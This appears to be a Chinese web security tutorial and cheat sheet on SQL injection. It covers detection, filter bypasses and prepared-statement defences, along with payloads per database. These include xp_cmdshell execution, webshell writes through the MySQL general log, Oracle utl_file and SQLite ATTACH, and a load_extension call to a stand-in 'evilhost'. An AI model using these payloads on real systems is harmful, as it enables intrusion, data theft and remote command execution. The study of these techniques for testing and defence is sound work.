您的位置 首页 php

「黑铁到传说」Web安全学习之常见漏洞攻防SQL注入篇

目录

常见漏洞攻防

4.1 SQL注入

4.1.1. 注入分类

4.1.1.1. 简介

4.1.1.2. 按技巧分类

4.1.1.3. 按获取数据的方式分类

4.1.1.3.1. inband

4.1.1.3.2. inference

4.1.1.3.3. out of band (OOB)

4.1.2. 注入检测

4.1.2.1. 常见的注入点

4.1.2.2. Fuzz注入点

4.1.2.3. 测试用常量

4.1.2.4. 测试列数

4.1.2.5. 报错注入

4.1.2.5.1. 基于geometric的报错注入

4.1.2.6. 堆叠注入

4.1.2.7. 注释符

4.1.2.8. 判断过滤规则

4.1.2.9. 获取信息

4.1.2.10. 测试权限

4.1.3. 权限提升

4.1.3.1. UDF提权

4.1.4. 数据库检测

4.1.4.1. MySQL

4.1.4.2. Oracle

4.1.4.3. SQLServer

4.1.4.4. PostgreSQL

4.1.5. 绕过技巧

4.1.6. SQL注入小技巧

4.1.6.1. 宽字节注入

4.1.7. CheatSheet

4.1.7.1. SQL Server Payload

4.1.7.1.1. 常见Payload

4.1.7.1.2. 注册表 读写

4.1.7.1.3. 报错注入

4.1.7.1.4. 常用函数

4.1.7.1.5. DNS OOB

4.1.7.1.6. 其他常用存储过程

4.1.7.2. MySQL Payload

4.1.7.2.1. 常见Payload

4.1.7.2.1.1. 报错注入常见函数

4.1.7.2.2. 写文件

4.1.7.2.2.1. 写文件前提

4.1.7.2.2.2. 基于 into 写文件

4.1.7.2.2.3. 基于 log 写文件

4.1.7.3. PostgresSQL Payload

4.1.7.4. Oracle Payload

4.1.7.4.1. 常见Payload

4.1.7.4.2. 写文件

4.1.7.5. SQLite3 Payload

4.1.8. 预编译

4.1.8.1. 简介

4.1.8.2. 模拟预编译

4.1.8.3. 绕过

4.1.8.3.1. 预编译使用错误

4.1.8.3.2. 部分参数不可预编译

4.1.8.3.3. 预编译实现错误

免费资料分享:


常见漏洞攻防

4.1 SQL注入

4.1.1. 注入分类

4.1.1.1. 简介

SQL注入 是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

4.1.1.2. 按技巧分类

根据使用的技巧, SQL 注入类型可分为

  • 盲注布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
  • 报错注入:应用会显示全部或者部分的报错信息
  • 堆叠 注入:有的应用可以加入 ; 后一次执行多条语句
  • 其他

4.1.1.3. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

4.1.1.3.1. inband

利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

4.1.1.3.2. inference

通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。

4.1.1.3.3. out of band (OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。

4.1.2. 注入检测

4.1.2.1. 常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

4.1.2.2. Fuzz注入点

  • ‘ / ”
  • 1/1
  • 1/0
  • and 1=1
  • ” and “1”=”1
  • and 1=2
  • or 1=1
  • or 1=
  • ‘ and ‘1’=’1
  • + – ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

4.1.2.3. 测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

4.1.2.4. 测试列数

例如 ,不断增加 null 至不返回

4.1.2.5. 报错注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

4.1.2.5.1. 基于geometric的报错注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

4.1.2.6. 堆叠注入

  • ;select 1

4.1.2.7. 注释符

  • #
  • –+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

4.1.2.8. 判断过滤规则

  • 是否有 trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

4.1.2.9. 获取信息

  • 判断数据库类型and exists (select * from msysobjects ) > 0 access数据库and exists (select * from sysobjects ) > 0 SQLServer数据库
  • 判断数据库表and exsits (select * from admin)
  • 版本、主机名、用户名、库名
  • 表和字段确定字段数Order BySelect Into表名、列名

4.1.2.10. 测试权限

  • 文件操作读敏感文件写shell
  • 带外通道网络请求

4.1.3. 权限提升

4.1.3.1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

4.1.4. 数据库检测

4.1.4.1. MySQL

  • sleep sleep(1)
  • benchmark BENCHMARK(5000000, MD5(‘test’))
  • 字符串连接SELECT ‘a’ ‘b’SELECT CONCAT(‘some’,’string’)
  • versionSELECT @@versionSELECT version()
  • 识别用函数connection_id()last_insert_id()row_count()

4.1.4.2. Oracle

  • 字符串连接’a’||’oracle’ –SELECT CONCAT(‘some’,’string’)
  • versionSELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=1

4.1.4.3. SQLServer

  • WAITFOR WAITFOR DELAY ’00:00:10′;
  • SERVERNAME SELECT @@SERVERNAME
  • version SELECT @@version
  • 字符串连接SELECT ‘some’+’string’
  • 常量@@pack_received@@rowcount

4.1.4.4. PostgreSQL

  • sleep pg_sleep(1)

4.1.5. 绕过技巧

  • 编码绕过大小写url编码html编码十六进制编码unicode编码
  • 注释// — — + — – # /**/ ;%00内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
  • 只过滤了一次时union => ununionion
  • 相同功能替换函数替换substring / mid / subascii / hex / binbenchmark / sleep变量替换user() / @@user符号和关键字and / ∨ / |
  • HTTP参数HTTP参数污染id=1&id=2&id=3 根据容器不同会有不同的结果HTTP分割注入
  • 缓冲区溢出一些C语言的 WAF 处理的字符串长度有限,超出某个长度后的payload可能不会被处理
  • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

4.1.6. SQL注入小技巧

4.1.6.1. 宽字节注入

一般程序员用 gbk 编码做开发的时候,会用 set names ‘gbk’ 来设定,这句话等同于

 set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
  

漏洞发生的原因是执行了 set character_set_client = ‘gbk’; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names ‘gbk’ 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset(‘gbk’) ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用 pdo

还有一些其他的 编码 技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

4.1.7. CheatSheet

4.1.7.1. SQL Server Payload

4.1.7.1.1. 常见Payload

  • VersionSELECT @@version
  • CommentSELECT 1 — commentSELECT /*comment*/1
  • Space0x01 – 0x20
  • 用户信息SELECT user_name()SELECT system_userSELECT userSELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  • 用户权限select IS_SRVROLEMEMBER(‘sysadmin’)select IS_SRVROLEMEMBER(‘db_owner’)
  • List UserSELECT name FROM master..syslogins
  • 数据库信息SELECT name FROM master..sysdatabasesselect concat_ws(table_schema,table_name,column_name) from information_schema.columnsselect quotename(name) from master..sysdatabases FOR XML PATH(”)
  • 执行命令EXEC xp_cmdshell ‘net user’
  • AsciiSELECT char(0x41)SELECT ascii(‘A’)SELECT char(65)+char(66) => return AB
  • DelayWAITFOR DELAY ‘0:0:3’ pause for 3 seconds
  • Change PasswordALTER LOGIN [sa] WITH PASSWORD=N’NewPassword’
  • Trickid=1 union:select password from:user
  • 文件读取OpenRowset
  • 当前查询语句select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
  • hostname用于判断是否站库分离select host_name()exec xp_getnetname
  • 服务器信息exec xp_msver

4.1.7.1.2. 注册表读写

  • xp_regreadexec xp_regread N’HKEY_LOCAL_MACHINE’, N’SYSTEM\CurrentControlSet\Services\MSSEARCH’
  • xp_regwrite
  • xp_regdeletvalue
  • xp_regdeletkey
  • xp_regaddmultistring

4.1.7.1.3. 报错注入

  • 1=convert(int,(db_name()))

4.1.7.1.4. 常用函数

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

4.1.7.1.5. DNS OOB

  • fn_xe_file_target_read_file
  • fn_get_audit_file
  • fn_trace_gettable

4.1.7.1.6. 其他常用存储过程

  • sp_execute_external_script
  • sp_makewebtask
  • sp_OACreate
  • sp_OADestroy
  • sp_OAGetErrorInfo
  • sp_OAGetProperty
  • sp_OAMethod
  • sp_OASetProperty
  • sp_OAStop
  • xp_cmdshell
  • xp_dirtree
  • xp_enumerrorlogs
  • xp_enumgroups
  • xp_fixeddrives
  • xp_getfiledetails
  • xp_loginconfig

4.1.7.2. MySQL Payload

4.1.7.2.1. 常见Payload

  • VersionSELECT @@version
  • CommentSELECT 1 — commentSELECT 1 # commentSELECT /*comment*/1
  • Space0x9 0xa-0xd 0x20 0xa0
  • Current UserSELECT user()SELECT system_user()
  • List UserSELECT user FROM mysql.user
  • Current DatabaseSELECT database()
  • List DatabaseSELECT schema_name FROM information_schema.schemata
  • List TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  • List ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
  • IfSELECT if(1=1,’foo’,’bar’); return ‘foo’
  • AsciiSELECT char(0x41)SELECT ascii(‘A’)SELECT 0x414243 => return ABC
  • Delaysleep(1)SELECT BENCHMARK(1000000,MD5(‘A’))
  • Read Fileselect @@datadirselect load_file(‘databasename/tablename.MYD’)
  • Blindascii(substring(str,pos,length)) & 32 = 1
  • Error Basedselect count(*),(floor(rand(0)*2))x from information_schema.tables group by x;select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Passwordmysql -uroot -e “use mysql;UPDATE user SET password=PASSWORD(‘newpassword’) WHERE user=’root’;FLUSH PRIVILEGES;”

4.1.7.2.1.1. 报错注入常见函数

  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp

4.1.7.2.2. 写文件

4.1.7.2.2.1. 写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

4.1.7.2.2.2. 基于 into 写文件

 union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
  

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

4.1.7.2.2.3. 基于 log 写文件

 show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;  

4.1.7.3. PostgresSQL Payload

  • VersionSELECT version()
  • CommentSELECT 1 — commentSELECT /*comment*/1
  • Current UserSELECT userSELECT current_userSELECT session_userSELECT getpgusername()
  • List UserSELECT usename FROM pg_user
  • Current DatabaseSELECT current_database()
  • List DatabaseSELECT datname FROM pg_database
  • AsciiSELECT char(0x41)SELECT ascii(‘A’)
  • Delaypg_sleep(1)

4.1.7.4. Oracle Payload

4.1.7.4.1. 常见Payload

  • dumpselect * from v$tablespace;select * from user_tables;select column_name from user_tab_columns where table_name = ‘table_name’;select column_name, data_type from user_tab_columns where table_name = ‘table_name’;SELECT * FROM ALL_TABLES
  • Comment–/**/
  • Space0x00 0x09 0xa-0xd 0x20
  • 报错utl_inaddr.get_host_namectxsys.drithsx.snctxsys.CTX_REPORT.TOKEN_TYPEXMLTypedbms_xdb_version.checkindbms_xdb_version.makeversioneddbms_xdb_version.uncheckoutdbms_utility.sqlid_to_sqlhashordsys.ord_dicom.getmappingxpathutl_inaddr.get_host_nameutl_inaddr.get_host_address
  • OOButl_http.requestutl_inaddr.get_host_addressSYS.DBMS_LDAP.INITHTTPURITYPEHTTP_URITYPE.GETCLOB
  • 绕过rawtohex

4.1.7.4.2. 写文件

 create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
   isto_file utl_file.file_type;
begin
   isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
   utl_file.put_line(isto_file, '<% out.println("test"); %>');
   utl_file.fflush(isto_file);
   utl_file.fclose(isto_file);
end;  

4.1.7.5. SQLite3 Payload

  • Comment–/**/
  • Versionselect sqlite_version();

Command Execution

 ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
  

Load_extension

UNION SELECT 1,load_extension(‘\\evilhost\evil.dll’,’E’);–

4.1.8. 预编译

4.1.8.1. 简介

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

4.1.8.2. 模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

4.1.8.3. 绕过

4.1.8.3.1. 预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

4.1.8.3.2. 部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

4.1.8.3.3. 预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

免费资料分享:

看到这里的大佬,动动发财的小手 点赞 + 回复 + 收藏,能【 关注 】一波就更好了

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

① 2000多本网安必看电子书(主流和经典的书籍应该都有了)

② PHP标准库资料(最全中文版)

③ 项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

渗透测试工具大全

⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全

文章来源:智云一二三科技

文章标题:「黑铁到传说」Web安全学习之常见漏洞攻防SQL注入篇

文章地址:https://www.zhihuclub.com/80205.shtml

关于作者: 智云科技

热门文章

网站地图